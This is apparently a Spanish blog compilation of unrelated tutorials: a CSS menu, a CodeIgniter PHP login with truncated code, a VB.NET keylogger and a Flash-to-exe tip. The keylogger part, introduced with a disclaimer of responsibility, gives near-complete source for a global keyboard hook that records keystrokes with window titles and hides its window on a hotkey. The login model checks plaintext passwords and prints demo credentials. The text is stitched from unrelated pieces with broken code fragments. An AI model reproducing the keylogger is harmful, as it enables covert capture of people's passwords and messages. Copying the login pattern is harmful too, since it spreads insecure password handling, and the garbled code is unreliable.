Básicamente lo que hicimos acá fue crear un div, darle un id llamado navlist. Dentro de este div le agregamos una lista con el texto que queremos darle a este menú.
Bueno, acá le dimos estilos al body, un fondo y el tipo de fuente. Al navlist le dimos forma, un ancho, un alto, hover, active y varias cosas más.
Y nos quedaría algo así:
Login en php y mysql
Crearemos un formulario de login en PHP en 4 sencillos pasos. Necesitamos crear varios archivos y carpetas primero:
Paso 1: crear el archivo php.php y guardarlo en /application/controllers/
Paso 2: crear el archivo login.php y guardarlo en /application/views/
Paso 3: crear usuarios_model.php y guardarlo en /application/models/
Paso 4: crear la tabla mysql con algunos usuarios de prueba
Paso 1: Código para el controlador "php.php":
Código :
load->helper('form');
if(!isset($_POST['maillogin'])){ // Si no recibimos ningún valor proveniente del formulario, significa que el usuario recién ingresa.
$this->load->view('login'); // Por lo tanto le presentamos la pantalla del formulario de ingreso.
}
else{ // Si el usuario ya pasó por la pantalla inicial y presionó el botón "Ingresar"
$this->form_validation->set_rules('maillogin','e-mail','required|valid_email'); // Configuramos las validaciones ayudandonos con la librería form_validation del Framework Codeigniter
$this->form_validation->set_rules('passwordlogin','password','required');
if(($this->form_validation->run()==FALSE)){ // Verificamos si el usuario superó la validación
$this->load->view('login'); // En caso que no, volvemos a presentar la pantalla de login
}
else{ // Si ambos campos fueron correctamente rellanados por el usuario,
$this->load->model('usuarios_model');
$ExisteUsuarioyPassoword=$this->usuarios_model->ValidarUsuario($_POST['maillogin'],$_POST['passwordlogin']); // comprobamos que el usuario exista en la base de datos y la password ingresada sea correcta
if($ExisteUsuarioyPassoword){ // La variable $ExisteUsuarioyPassoword recibe valor TRUE si el usuario existe y FALSE en caso que no. Este valor lo determina el modelo.
echo "Validacion Ok
Volver"; // Si el usuario ingresó datos de acceso válido, imprimos un mensaje de validación exitosa en pantalla
}
else{ // Si no logró validar
$data['error']="E-mail o password incorrecta, por favor vuelva a intentar";
$this->load->view('login',$data); // Lo regresamos a la pantalla de login y pasamos como parámetro el mensaje de error a presentar en pantalla
}
}
}
}
}
?>
Paso 2: Código para la vista "login.php":
Código :
Blogdephp.com, ¿cómo hacer un login de usuarios en php? Ver script y demo!
Demo: ¿cómo hacer un login de usuarios en php?
E-mail:
".$error."";
}
echo form_error('maillogin');
?>
Contraseña:
Datos de acceso (correspondiente a un usuario ya ingresado en la base de datos)
e-mail: diego@blogdephp.com
password: blogdephp
Requerimientos
Para poder implementar este script de login, se requiere el framework de php "Codeigniter"
(esta maravillosa herramienta nos ayuda a ahorrar mucho tiempo y esfuerzo en nuestros trabajos de programación php).
La empresa Solo10.com, cuando contratas un paquete de hosting anual desde u$s 49.95,
te ofrece la instalación y configuración inicial del Codeigniter gratis :-)
Este blog y demo se encuentran alojados en los servidores de Solo10.com.
Te recomiendo el servicio de hosting que ofrece esta empresa de hablahispana!
Código :
db->where('Usuario',$email); // La consulta se efectúa mediante Active Record. Una manera alternativa, y en lenguaje más sencillo, de generar las consultas Sql.
$query = $this->db->where('Password',$password);
$query = $this->db->get('Usuarios');
return $query->row(); // Devolvemos al controlador la fila que coincide con la búsqueda. (FALSE en caso que no existir coincidencias)
}
}
?>
Paso 4: Consulta Mysql para crear la tabla de usuarios
Explicación del código para forms de login con usuario y contraseña en PHP
Se trata de un script que, mediante pocas líneas de código, te permite configurar un login de usuarios propio en tu página web.
Esta capacidad es sumamente importante y la necesitaremos en cualquier proyecto web que iniciemos. Puesto que seguramente existe cierta información y funciones que nos interesa ofrecer únicamente a usuarios registrados y no al resto del público.
Por ejemplo, si estamos haciendo un sistema web para un periódico, nos interesará que los periodistas puedan ingresar al sistema (mediante un usuario y password) y puedan ingresar noticias.... Por supuesto, esta función debería ser accesible únicamente por periodistas y no por un lector común.
Funcionalidades
Permitir acceso a determinada información y utilidades únicamente a determinados usuarios (aquellos que se encuentren registrados en una tabla de base de datos Mysql)
Mensaje de error cuando falta rellenar algún campo de la pantalla de acceso
Mensaje de error cuando los datos ingresados no coinciden con ningún usuario registrado en la base de datos.
Recordar los datos previamente ingresados por el usuario cuando éste no supera el login y tenemos que volver a presentarle la pantalla de acceso.
Explicación técnica
Como pueden observar, los códigos del script se encuentran con comentarios. Cada sentencia importante tiene su explicación de que función cumple. Lo que intentaremos ahora es hacer una explicación general de cómo funciona el script; como si fuera un cuento...
Comencemos con la pantalla de acceso "login.php", donde el usuario podrá ingresar sus datos (usuario y password). Recordemos que todo lo que sea interacción con el usuario (entrada y salida de datos) lo trabajamos con las vistas (capa presentación).
Lo importante aquí es la sentencia
Código :
donde creamos nuestro formulario html y especificamos que sus datos deben ser enviados y procesados por el método "login" del controlador "php". La sentencia form_open es de CodeIgniter.
Otro punto importante de la vista es cuando creamos los campos (serían las cajas de texto donde el usuario podrá ingresar los datos):
Código :
Aquí estamos creando un campo de texto llamado "maillogin". La sentencia "set_value" nos sirve para recordar los datos rellenados por el usuario en caso que su acceso no sea válido y tengamos que volver a presentarle la pantalla de acceso. Es un valor agregado para dar mejor usabilidad a los usuarios.
Luego pasemos al controlador "php.php". Esta es la parte más compleja del script, por tal motivo intenté poner comentarios a cada una de las y facilitar así su comprensión. Te recomiendo leer los comentarios directo en el código.
El controlador (php.php) hace lo que hace es tomar los datos provenientes del formulario, hacer las validaciones, consultar al modelo (usuarios_model.php) si el usuario existe en la base de datos y su password es válida. Por último, decide si el usuario corresponde que pueda acceder, o no, y comunica su decisión a la vista (login.php) para que el usuario vea la respuesta en su pantalla.
Me interesa remarcar aquí algunas sentencias y declaraciones puntuales que son muy básicas de php y te servirán en todo sistema web que desarrolles.
Código :
$_POST['maillogin']
(sirve para tomar los valores provenientes del formulario, en este caso se toma el valor del campo "maillogin"
Código :
$this->load->model('usuarios_model'); (sirve para cargar el modelo usuarios_model y poder utilizar sus recursos) this->usuarios_model->ValidarUsuario($_POST['maillogin'],$_POST['passwordlogin']);
(ejecuta el método "ValidarUsuario" de nuestro modelo "usuarios_model" y le pasa los dos parámetros. )
En el próximo artículo continuaremos mejorando este script de login. Por ejemplo, estudiaremos como hacer para que el usuario pueda acceder a muchas pantallas de información restringida sin tener que poner siempre sus datos de login (únicamente ingresarlos la primer vez).
Espero que lo disfruten, les sea útil para sus proyectos y principalmente los ayude a continuar aprendiendo
NO ME HAGO RESPONSABLE DEL USO QUE LE DEN A ESTA INFO!!
xDDD
Aclarado el punto, empecemos.
Configurando la aplicación:
Antes de empezar, creamos un formulario y le añadimos un botón y un textbox con la propiedad multilinea activada, debe quedar así:
Lo primero sera importar las funciones de las API de windows y declarar las variables globales.
Funciones que usaremos:
SetWindowsHookEx()
CallNextHookEx()
UnhookWindowsHookEx()
GetForegroundWindow()
GetWindowText()
#Region "importamos las funciones de la API de windows"
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal IdHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadID As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Private Delegate Function KeyboardHookDelegate(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
La función KeyboardHookDelegate() Se comporta como un tipo de puntero a una función de que será llamada cuando se genera un evento.
Ahora procederemos a declarar constantes, estructuras y enumeraciones
Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtrainfo As Integer
End Structure
Las Constantes: WM_KEYUP, WM_KEYDOWN, WM_SYSUP, WM_SYSDOWN, especifican el tipo de evento de teclado que se ha generado.
La Estructura KBDLLHOOKSTRUCT es una estructura especial que contiene información acerca de la tecla presionada.
El Enum Virtual key es una enumeración de todas las teclas para su fácil acceso.
Las variables Globales
Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing
Private KeyLog As String
-LastCheckedForegroundTitle: Aquí se almacenará el titulo de la ventana de donde obtenemos las pulsaciones.
-KeyLog: variable de cadena donde se almacenará todo lo obtenido hasta el momento, que debería ser guardado en un archivo de texto.
-callback: puntero a la función que recibirá el evento.
***********************
Creando el "Gancho"
comenzaremos agregando esta función:
Public Sub EngancharTeclado()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallBack)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
End Sub
Como podemos ver, la función SetWindowsHookEx usa 4 parametros: el primero indica el tipo de gancho a crear (13 para un gancho de teclado de bajo nivel); el segundo parámetro indica el delegado de la función que va a ser llamada cuando se genera un evento; el tercero indica la dirección del modulo al cual se enviaran los eventos, así el sistema operativo sabe a cual aplicación enviar los eventos, el cuarto parámetro indica si el gancho es global(0) o si esta asociado con algún proceso(la dirección del proceso).
Añadimos también una función para saber si el teclado está enganchado o no:
Private Function Hooked()
Return KeyboardHandle <> 0
End Function
Manejando el evento de teclado
Ahora viene la parte interesante, crearemos la función que añadira las pulsaciones al textbox:
Private Function KeyboardCallBack(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
'Obtenemos el titulo
Dim TituloVentana = GetActiveWindowTitle()
If TituloVentana <> LastCheckedForegroundTitle Then
LastCheckedForegroundTitle = TituloVentana
'La ventana en la que se genero el evento y la fecha y hora
KeyLog &= vbCrLf & "----------- " & TituloVentana & " (" & Now.ToString() & ") ------------" & vbCrLf
End If
'Variable que contendrá la tecla presonada
Dim Tecla As String = ""
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
If code >= 0 Then
'Si se presiona Ctrl + alt + S
If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = VirtualKey.K_S Then
Me.Visible = Not Me.Visible 'Ocultamos o mostramos el formulari
Return 1
End If
End If
'Convertir la tecla presionada en un caracter
Select Case lParam.vkCode
Case VirtualKey.K_0 To VirtualKey.K_9
Tecla = ChrW(lParam.vkCode)
Case VirtualKey.K_A To VirtualKey.K_Z
Tecla = ChrW(lParam.vkCode + 32)
End Select
End If
'Añadir la tecla a la variable y de la variable al Textbox
KeyLog &= Tecla
TextBox1.AppendText(KeyLog)
Return CallNextHookEx(KeyboardHandle, code, wParam, lParam)
End Function
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Desenganchando
Cuando no queramos que se registren las pulsaciones, tendremos esta función:
Public Sub Desenganchar()
If (Hooked()) Then
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
KeyboardHandle = 0
End If
End If
End Sub
podríamos crear un botón, y en el código de ese botón añadir el codigo: Desenganchar() y eso hará que se detenga el keylogger.
Por último hacemos doble click en el botón que habiamos creado al principio y le damos doble click, luego le añadimos el siguiente código:
Más sencillo no puede ser, empezamos este minitutorial... -.-
Flash Builder es una interesante herramienta que nos permite convertir un archivo flash en un ejecutable para Windows. Su uso es muy sencillo y el programita hace todo solo, así que es una muy buena aplicación para tener en cuenta.
El proceso consta de sólo 4 pasos:
►Elegir el archivo de entrada en SWF.
►Elegir un ícono para la aplicación (oocional)
►Elegir una pantalla spash para cuando abrimos la aplicación (opcional).
►Darle al botón Build.
Con esos 4 pasos el programa creará automáticamente el ejecutable en formato .exe para que podamos abrirlo sin ningún problema.